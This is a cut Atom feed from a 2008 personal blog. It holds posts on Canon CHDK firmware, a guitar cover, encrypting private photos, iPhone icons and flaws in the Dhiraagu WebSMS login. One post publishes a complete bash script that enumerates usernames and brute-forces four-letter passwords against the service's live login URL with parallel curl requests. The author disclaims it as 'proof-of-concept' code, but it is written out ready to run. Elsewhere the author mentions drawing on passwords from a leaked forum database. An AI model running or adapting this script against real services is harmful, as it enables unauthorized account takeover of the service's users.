type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4166354484874028592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4166354484874028592'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-watch-gadi.html' title='RUKUFAN ORIGAMI: the watch (gadi)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bwme_BmmviI/SGSToCH6NCI/AAAAAAAAADI/2D3uDmc2NTg/s72-c/fangadi.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3265724817413999568</id><published>2008-09-16T18:25:00.001+08:00</published><updated>2008-09-16T18:25:02.595+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photography'/><category scheme='http://www.blogger.com/atom/ns#' term='advice'/><title type='text'>Upgrade your Canon Camera with CHDK</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;There's a really good chance that most of you are already familiar with CHDK, but if you're not - you should definitely give it a shot.&lt;br/&gt;&lt;br/&gt;&lt;blockquote&gt;&lt;em&gt;CHDK is a firmware enhancement that operates on a number of Canon Cameras. CHDK gets loaded into your camera's memory upon bootup (either manually or automatically). It provides additional functionality beyond that currently provided by the native camera firmware.&lt;br/&gt;&lt;/em&gt;&lt;/blockquote&gt;&lt;br/&gt;Basically it takes your crappy camera and stuffs in a bagload of features that're usually found in much much more expensive ones (and some not in any!) Sounds good? I can assure you would be extremely stupid not to try it. It's amazing the things you can do with an old busted point and shoot with the enhanced features. (including and not limited to shutter speed control, custom ISO settings, ability to run scripts,games,your momma on your camera, flash sync, USB cable remote trigger, live histograms,grids, SHOOTING IN RAW.. and MANY many more)&lt;br/&gt;&lt;br/&gt;The best part is it's free, and completely (unless you're really stupid) harmless. You'll love those long exposure shots especially if you're a star gazer like me. My friend &lt;a href='http://keyolhubey.blogspot.com/'&gt;Keyolhubey&lt;/a&gt; has posted a few time lapse video's he did with his Canon A530 using an intervalometer script.&lt;br/&gt;&lt;br/&gt;head on over to &lt;a href='http://chdk.wikia.com/wiki/CHDK'&gt;CHDK&lt;/a&gt; and get started now. It's as easy as grabbing the proper firmware image and putting it on your camera's memory card. How can I tell?!&lt;br/&gt;&lt;big&gt;&lt;br/&gt;&lt;/big&gt;&lt;blockquote&gt;&lt;h4&gt;&lt;span class='mw-headline'&gt;Q. How can I get the original firmware version number of my camera?&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;b&gt;A.&lt;/b&gt; To get the version number, you need to:&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt; create a file called &lt;b&gt;ver.req&lt;/b&gt; in the &lt;a title='FAQ' href='http://chdk.wikia.com/wiki/FAQ#Q._What_is_the_root_directory_of_my_SD_card.3F'&gt;root directory&lt;/a&gt; of your SD card.  Be sure to save it as &lt;b&gt;all files&lt;/b&gt; and not &lt;b&gt;text&lt;/b&gt;.  It might be necessary to create the file name explicitly in upper case.  e.g. &lt;b&gt;VER.REQ&lt;/b&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt; &lt;b&gt;IMPORTANT:&lt;/b&gt; Note that it is spelled &lt;b&gt;ver.req&lt;/b&gt;, as in &lt;b&gt;VER&lt;/b&gt;sion &lt;b&gt;REQ&lt;/b&gt;uest, &lt;u&gt;that &lt;b&gt;Q&lt;/b&gt; is NOT a &lt;b&gt;G&lt;/b&gt;&lt;/u&gt;, &lt;b&gt;Type it correctly!!!&lt;/b&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt; switch on the camera in playback mode and wait for the main screen (don't switch on in rec mode and change to playback later)&lt;br/&gt;&lt;/li&gt;&lt;li&gt; press the&lt;br/&gt;&lt;/li&gt;&lt;li&gt;&lt;span style='color: rgb(255, 0, 0);'&gt;&lt;span style='border: 1px solid black; background-color: rgb(244, 244, 244); padding-left: 6px; padding-right: 8px; white-space: nowrap; -moz-border-radius-topleft: 8px; -moz-border-radius-bottomleft: 8px; -moz-border-radius-topright: 8px; -moz-border-radius-bottomright: 8px;'&gt;set&lt;/span&gt;&lt;/span&gt;+&lt;span style='border: 1px solid black; background-color: rgb(244, 244, 244); padding-left: 6px; padding-right: 8px; white-space: nowrap; -moz-border-radius-topleft: 8px; -moz-border-radius-bottomleft: 8px; -moz-border-radius-topright: 8px; -moz-border-radius-bottomright: 8px;'&gt;&lt;span style='color: rgb(255, 0, 0);'&gt;disp&lt;/span&gt;.&lt;/span&gt; buttons together (press &lt;span style='color: rgb(255, 0, 0);'&gt;&lt;span style='border: 1px solid black; background-color: rgb(244, 244, 244); padding-left: 6px; padding-right: 8px; white-space: nowrap; -moz-border-radius-topleft: 8px; -moz-border-radius-bottomleft: 8px; -moz-border-radius-topright: 8px; -moz-border-radius-bottomright: 8px;'&gt;set&lt;/span&gt;&lt;/span&gt; first, hold it down, then press &lt;span style='border: 1px solid black; background-color: rgb(244, 244, 244); padding-left: 6px; padding-right: 8px; white-space: nowrap; -moz-border-radius-topleft: 8px; -moz-border-radius-bottomleft: 8px; -moz-border-radius-topright: 8px; -moz-border-radius-bottomright: 8px;'&gt;&lt;span style='color: rgb(255, 0, 0);'&gt;disp&lt;/span&gt;.&lt;/span&gt;).&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You will see a string like &lt;b&gt;Firmware Ver GM1.00E&lt;/b&gt;. The &lt;b&gt;1.00E&lt;/b&gt; part is the firmware version.&lt;br/&gt;&lt;br/&gt;&lt;b&gt;ver.req&lt;/b&gt; is just an empty dummy file.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3265724817413999568?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3265724817413999568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/upgrade-your-canon-camera-with-chdk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3265724817413999568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3265724817413999568'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/upgrade-your-canon-camera-with-chdk.html' title='Upgrade your Canon Camera with CHDK'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1647269351823257464</id><published>2008-09-16T18:19:00.001+08:00</published><updated>2008-09-16T18:20:37.016+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Bash script: Crack Dhiraagu WebSMS passwords</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;some time ago I posted an &lt;a href='http://kudanai.blogspot.com/2008/09/websms-password-security.html'&gt;article&lt;/a&gt; about how ridiculously insecure the webSMS site was, and how it was relatively simple it was for somebody to write up a bash script to possibly crack the default passwords.&lt;br/&gt;&lt;br/&gt;For lack of something better to post about, I'm releasing the 5-minute bash script that I wrote as a proof-of-concept (for myself mostly). The following code is released on a &lt;b&gt;&lt;em&gt;ZERO LIABILITY&lt;/em&gt;&lt;/b&gt; basis. Which means, I am in no way responsible for your actions. It's proof-of-concept code and is &lt;b&gt;NOT &lt;/b&gt;intended to be used. Educational purposes only. I will not be held responsible for any claims or charges of damages, negligence, cyber-crime etc and &lt;b&gt;YOU&lt;/b&gt; automatically agree to this if you continue reading beyond this point. As such, I will not be giving you instructions or assistance regarding it. Thank you for your co-operation :)&lt;br/&gt;&lt;br/&gt;EDIT: It seems some people didn't get the message when I said I won't provide any support for this. Let me clarify, &lt;b&gt;DO NOT ASK ME HOW TO USE IT!&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;&lt;pre class='prettyprint lang-bsh'&gt;#!/bin/bash&lt;br/&gt;&lt;br/&gt;cd $HOME/Desktop&lt;br/&gt;mxjobs=15&lt;br/&gt;cont=0&lt;br/&gt;&lt;br/&gt;if [ -z ${2} ]&lt;br/&gt;then&lt;br/&gt;    cont=1&lt;br/&gt;else&lt;br/&gt;    cont=0&lt;br/&gt;fi&lt;br/&gt;&lt;br/&gt;echo "checking if username exists"&lt;br/&gt;&lt;br/&gt;if [ -n "`curl -s  --compressed -d \"username=${1}&amp;amp;password=wroXngo123!@)\" \&lt;br/&gt;    http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \&lt;br/&gt;    grep \"password is incorrect\"`" ]&lt;br/&gt;then&lt;br/&gt;    echo "User exists. Let's see what happens."&lt;br/&gt;else&lt;br/&gt;    echo "That username does not exist."&lt;br/&gt;    exit&lt;br/&gt;fi&lt;br/&gt;&lt;br/&gt;for a in {A..Z};do for b in {A..Z};do for c in {A..Z};do for d in {A..Z}&lt;br/&gt;do&lt;br/&gt;    f="${a}${b}${c}${d}"&lt;br/&gt;    &lt;br/&gt;    if [ $cont -lt 1 ]&lt;br/&gt;    then&lt;br/&gt;        echo  -en "skipping ${a}${b}${c}${d}\r"&lt;br/&gt;        &lt;br/&gt;        if [ "${f}" = "${2}" ]&lt;br/&gt;        then&lt;br/&gt;            echo&lt;br/&gt;            echo "MATCH"&lt;br/&gt;            cont=1&lt;br/&gt;        fi&lt;br/&gt;        continue&lt;br/&gt;    fi&lt;br/&gt;    &lt;br/&gt;    ok=0&lt;br/&gt;    while [ $ok -lt 1 ]&lt;br/&gt;       do&lt;br/&gt;          if [ `ps -A | grep curl | wc -l` -lt $mxjobs ]&lt;br/&gt;          then&lt;br/&gt;            ok=1&lt;br/&gt;          fi&lt;br/&gt;       done&lt;br/&gt;    &lt;br/&gt;       echo -en "Testing ${f}\r"&lt;br/&gt; &lt;br/&gt;       if [ -n "`curl -s --compressed -d \"username=${1}&amp;amp;password=${f}\" \&lt;br/&gt;       http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | grep Dear`" ];then \&lt;br/&gt;       echo "Found ${1},${f}" | tee -a foundpasses.txt;killall curl;kill ${$};fi&amp;amp;     &lt;br/&gt;    &lt;br/&gt;done;done;done;done&lt;br/&gt;&lt;br/&gt;echo "I guess we didn't find it then"&lt;br/&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1647269351823257464?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1647269351823257464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/bash-script-crack-dhiraagu-websms.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1647269351823257464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1647269351823257464'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/bash-script-crack-dhiraagu-websms.html' title='Bash script: Crack Dhiraagu WebSMS passwords'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6911236327809246450</id><published>2008-09-16T18:13:00.001+08:00</published><updated>2008-09-16T18:14:03.582+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Nothing Else Matters: Cover by KudaNai</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div align='center'&gt;&lt;a title='Bro and Bess - Photo by andhu' rel='lightbox' href='http://farm1.static.flickr.com/140/346839558_ba21fc2275.jpg'&gt;&lt;img width='258' height='194' src='http://farm1.static.flickr.com/140/346839558_ba21fc2275.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Let me just start off by saying that there is no video?&lt;br /&gt;&lt;br /&gt;This would be one of those "I can't believe I'm actually doing this" kind of things but I was bored and... what the heck.&lt;br /&gt;&lt;br /&gt;This was recorded some time around 2006 I believe. I can remember doing it using an old busted microphone that i got for like 30rf or something, sitting by the computer one night, trying to figure out Sonic Foundry's Acid Pro (now Sony's Acid Pro.) It took a couple of tries (my farther kept barging in and spoiling the takes) to get it as it is. Not that it's much anyway.&lt;br /&gt;&lt;br /&gt;Bess is my guitar by the way. I've since bought another one (named Venus because it's much much prettier) and I don't really play with Bess (left her back in Male' under the care of "bro") That's a picture of him playing with it, courtesy of &lt;a href='http://flikr.com/photos/andhu'&gt;andhu&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;on with the music :) &lt;br /&gt;&lt;big&gt;&lt;b&gt;&lt;br /&gt;&lt;a href='http://kudanai.googlepages.com/KudaNai-NothingElseMatters.mp3'&gt;DOWNLOAD&lt;/a&gt;&lt;/b&gt;&lt;/big&gt; or LISTEN:  &lt;embed width='300' height='52' pluginspage='http://www.macromedia.com/go/getflashplayer' flashvars='valid_sample_rate=true&amp;amp;external_url=http://kudanai.googlepages.com/KudaNai-NothingElseMatters.mp3' type='application/x-shockwave-flash' wmode='transparent' allowscriptaccess='always' quality='high' src='http://www.odeo.com/flash/audio_player_standard_gray.swf'&gt; &lt;/embed&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6911236327809246450?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6911236327809246450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/nothing-else-matters-cover-by-kudanai.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6911236327809246450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6911236327809246450'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/nothing-else-matters-cover-by-kudanai.html' title='Nothing Else Matters: Cover by KudaNai'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm1.static.flickr.com/140/346839558_ba21fc2275_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2773952221893529659</id><published>2008-09-16T18:03:00.001+08:00</published><updated>2008-12-10T09:15:57.321+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='personal'/><category scheme='http://www.blogger.com/atom/ns#' term='advice'/><title type='text'>Secure your homemade porn</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;a title='photo source: sadness by xxneutronxx deviantart' rel='lightbox' href='http://3.bp.blogspot.com/_bwme_BmmviI/SDw6hZqTPbI/AAAAAAAAAB4/kNlTCC2X02w/s1600/Sadness_by_xxNeutroNxx.jpg'&gt;&lt;img border='0' id='BLOGGER_PHOTO_ID_5205099614831852978' alt='' src='http://3.bp.blogspot.com/_bwme_BmmviI/SDw6hZqTPbI/AAAAAAAAAB4/kNlTCC2X02w/s320/Sadness_by_xxNeutroNxx.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br /&gt;So recently I had the misfortune of overhearing a conversation whereby an acquaintance of mine (she lives in my neighborhood, pretty girl really) tell whoever it was about how some... "sensitive" photographs of herself got "leaked" on the internet. Now we all know this kinda thing has been going on for ages and ages but the tragedy is that apparently "people" still don't take adequate measures to protect themselves.&lt;br /&gt;&lt;br /&gt;Now I'm not saying there's anything wrong with photographing, or even videoing yourself and/or others - with their consent of course - and in face, it would pure hypocrisy for me to tell you not to do it. Heck I've been doing it for so long it's almost like a hobby now, but I've never had to face said situation because I've always been careful about where and how I kept my data (as in not just "sensitive" photographs but sensitive stuff in general).&lt;br /&gt;&lt;br /&gt;There are a few simple rules to follow if you don't want to get caught/exposed&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Encrypt everything&lt;br /&gt;&lt;br /&gt;If it's out in the open it's practically fair game and sometimes hiding something isn't enough! You gotta put a lock on that box if you know what I mean. I know lots of people who'd think that simply hiding the folders in some nook is enough but it's not. Encryption is the key people. Password protected Zip/Rar/ACE (whatever) files are NOT repeat NOT an option! (second favourite option for the less enlightened). The reason why it's not a good idea is because when you use a zip file, most often (there are exceptions I believe) temporary data is written to disk and THAT puts you at risk because that data can be recovered quite easily. Besides that a LOT of tools exist to bruteforce (crack the password of) these archives.&lt;br /&gt;&lt;br /&gt;I recommend using an on-the-fly-encryption program of good reputation. I've used and trused Truecrypt for ages and before that I used to rely on something called Cryptainer (there is a free version availible). These have the advantages of allowing you to work almost directly off the encrypted data and not leaving traces on the host computer, and providing strong encryption. In addition to that there are availible to you more options for authentication than by simply putting a password on it. more on that later -&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Strong passwords&lt;br /&gt;&lt;br /&gt;Any lock is only as good as it's key mate - if a pin tumbler had just one pin an infant with a toy could probably pick it! (err..never mind if you didn't understand that bit) All I'm saying is that if your password is something like "fuckyou","iloveyou","iloveyoutoo" or "123456789" (which believe me are ridiculously common based on a bunch of passwords I managed to get my hands on from a forum db dump a year or two ago), then you might as well forgo the whole encryption deal so - long (at least 14 characters), random (avoid dictionary words), include numbers, punctuations and special characters.&lt;br /&gt;&lt;br /&gt;TrueCrypt (and others) offer something called a keyfile, which is an ordinary file that you will need to open a "vault". The idea is that nobody knows which file you need except you.. so it's basically a second password. In the past I've used this method as a sort of multi-party authentication thing... more on that later!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.1 Your computer login password doesn't protect you&lt;br /&gt;&lt;br /&gt;All it takes for somebody to grab all your files is to pop in a CD into your drive, boot up a portable system and just sweep it all up into a portable hard disk or something. Disk encryption is available in most modern operating systems. You might want to look into that.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Card to vault and never out!&lt;br /&gt;&lt;br /&gt;That was pretty self explanatory wasn't it? If you're using a digital camera copy directly to the encrypted vault and don't take it out of it. If you want to Photoshop and stuff, you can do it from within the vault itself... but if you absolutely must take it out into the open, read about "shredding" below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Don't delete - Shred!&lt;br /&gt;&lt;br /&gt;You may think you're safe once you've clicked that delete button but you're wrong. Deleting doesn't remove the actual data (most of the time...always exceptions), but just the reference to it. So the computer can't find it - but the actual stuff is still there on disk and can be recovered using special software. This is why those temporary files are so dangerous! To securely remove anything you gotta overwrite that data with something else. Eraser is a good program that can be used just for that! So if you ever want to delete something permanently... use a good secure wipe tool (Eraser on windows is recommended, for linux there's the built in shred command..good ol' linux!!!) wipe it good people..hehe.. don't forget to wipe the memory cards too, and flash drives you've used to carry it (only when you need to though...)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Never ever lend out a camera or flash drive to a friend without wiping it first...never...EVER!!!&lt;br /&gt;&lt;br /&gt;'Cos this is probably where most of the stuff gets leaked anyway. As stated above, it's easy as zap to recover deleted files so - you know what that means. You can trust anyone..but not the devil inside em as that guy.. (what's his name?) said in that (what's that movie?) movie! This goes to memory cards on cellphones as well. Five minutes is all it takes and all your kinky habits are for the world to know :| a good recovery prog you say? umm..try Recuva (it's free) and Photorec/Testdisk on linux. (even free-er).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Trust??&lt;br /&gt;&lt;br /&gt;so your ex-boyfriend did it eh? shouldn't have trusted him in the first place eh? hehe... well shit happens sucks to you! Just kidding. Prevention before cure that's what they say. Multi-party authentication! like needing two keys to open a door - you could, say, make a truecrypt volume with a bunch of keyfiles needed - give some to the guy keep some for yourself so that the vault can only be opened when you're both present! Of course you can explore the "Secret Sharing" (oh yea! there is a use for it) option I was talking about before... TrueCrypt's dev docs have mentioned supporting hardware tokens (eg.flash drives) and stuff so you should see a lot of improvement in this area sometime in the near future.&lt;br /&gt;&lt;br /&gt;oh and one more thing... those computer repair guys? Megachip? Focus? I wouldn't trust them if I were you. Trust me you wouldn't trust them. oh and CELLPHONES GET STOLEN!!! do keep that in mind.&lt;br /&gt;&lt;br /&gt;well there you have it... there are probably more comprehensive umm.. paranoia guides out there than this, but I just wanted to rant about it. I hope I didn't bore you or anything... much :) I love you all mwah mwah&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2773952221893529659?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2773952221893529659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/secure-your-homemade-porn_16.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2773952221893529659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2773952221893529659'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/secure-your-homemade-porn_16.html' title='Secure your homemade porn'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bwme_BmmviI/SDw6hZqTPbI/AAAAAAAAAB4/kNlTCC2X02w/s72-c/Sadness_by_xxNeutroNxx.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4328754091970319681</id><published>2008-09-16T17:51:00.002+08:00</published><updated>2008-09-16T18:06:06.718+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='advice'/><title type='text'>WebSMS password security</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Boredom can breed a lot of bullshit where I'm from, and this just happens to be one of those thing. A couple of days ago I was bored out of my skull and thought I'd have a look at the security on everybody's favorite website. Yes that's right. Dhiraagu's &lt;a href='http://www.blogger.com/www.dhiraagu.com.mv'&gt;WebSMS&lt;/a&gt;!!!&lt;br /&gt;&lt;br /&gt;Long story short There are a lot of stupid design flaws for a company of Dhiraagu's standing.&lt;br /&gt;Let's go over what we know then shall we?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;1) The sign up process is fairly simple and straight forward. You give&lt;br /&gt;then a name (first and last), a username and your cell number.&lt;br /&gt;&lt;br /&gt;2) They send you a confirmation sms with your password. These passwords are by default made up of FOUR upper case letters in various combinations. I cannot verify how random they are. we all know nobody really changes these. (which you should!)&lt;br /&gt;&lt;br /&gt;3) Four letters? I mean cummon! That's only like &lt;sup&gt;26&lt;/sup&gt;&lt;b&gt;&lt;i&gt;P&lt;/i&gt;&lt;/b&gt;&lt;sub&gt;4&lt;/sub&gt; = &lt;b&gt;358800&lt;/b&gt; combinations. Which say by brute forcing at about 5 passes/sec is a total of 71760 seconds - roughly 20 hours and more than reasonable time to crack one.&lt;b&gt;&lt;i&gt;Edit : Turns out the above calculation is wrong. It's actually &lt;/i&gt;&lt;/b&gt;26&lt;sup&gt;4&lt;/sup&gt;=456976 &lt;b&gt;&lt;i&gt;combinations, which adds about 5 hours to the total time estimate above.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;4) The redirects for when you enter an invalid username, and when you enter an invalid password (correct username) are different; revealing far more information than it should. i.e, a would be attacker can check if a given username exists or not.&lt;br /&gt;&lt;br /&gt;5) Non of the traffic,absolutely non of it is encrypted - making it so very very easy to sniff. They even use "password" as the name for the form field so that should make dsniff pretty happy I think.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Right then, so how easy would it be for say, ME, to write a script based on the above information and crack such a password? VERY easy. I mean all I'd have to do is generate all password combo's (in bash that's as easy as typing "echo {A..Z}{A..Z}{A..Z}{A..Z}" ) , and try them one at a time until I'm redirected to the right page...right? Forget writing stuff, there are already pretty strong &lt;a href='http://sectools.org/crackers.html'&gt;bruteforcers&lt;/a&gt; out there.&lt;br /&gt;&lt;br /&gt;so basically what I'm trying to say here is &lt;b&gt;CHANGE THAT DEFAULT PASSWORD!!!&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4328754091970319681?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4328754091970319681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/websms-password-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4328754091970319681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4328754091970319681'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/websms-password-security.html' title='WebSMS password security'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1883059829694316117</id><published>2008-09-16T17:36:00.001+08:00</published><updated>2008-12-10T09:15:57.346+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><title type='text'>Changing WebClip icons on iPhone</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;if you want to change your own webclip icon on the iPhone&lt;br /&gt;&lt;br /&gt;Get yourself a suitable icon, rename it to "icon.png". Next, SSH into your phone (You can find plenty of good guides on how to do that) and then upload the icon to "~/var/mobile/Library/WebClips/xxxxxxxxxxx.webclip" folder, where xxxxxxxx is the corrosponding folder name. Replace the existing icon with your new one. You might need to respring to see it.&lt;br /&gt;&lt;br /&gt;Here's a small icon i made for Dhiraagu&lt;br /&gt;&lt;br /&gt;&lt;div align='center'&gt;&lt;img src='http://3.bp.blogspot.com/_bwme_BmmviI/R7Go2BDD0mI/AAAAAAAAABI/5-yQ8Y-C-hE/s1600/dhiraagu1.png' style='max-width: 800px;'/&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;right-click and save-as if you wanna use it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align='center'&gt;&lt;a title='screenshot of the icon in action' rel='lightbox' href='http://4.bp.blogspot.com/_bwme_BmmviI/R7GpFRDD0nI/AAAAAAAAABQ/imWsQlRYauI/s1600/snap_193526.png'&gt;&lt;img src='http://4.bp.blogspot.com/_bwme_BmmviI/R7GpFRDD0nI/AAAAAAAAABQ/imWsQlRYauI/s320/snap_193526.png' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1883059829694316117?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1883059829694316117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/changing-webclip-icons-on-iphone.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1883059829694316117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1883059829694316117'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/changing-webclip-icons-on-iphone.html' title='Changing WebClip icons on 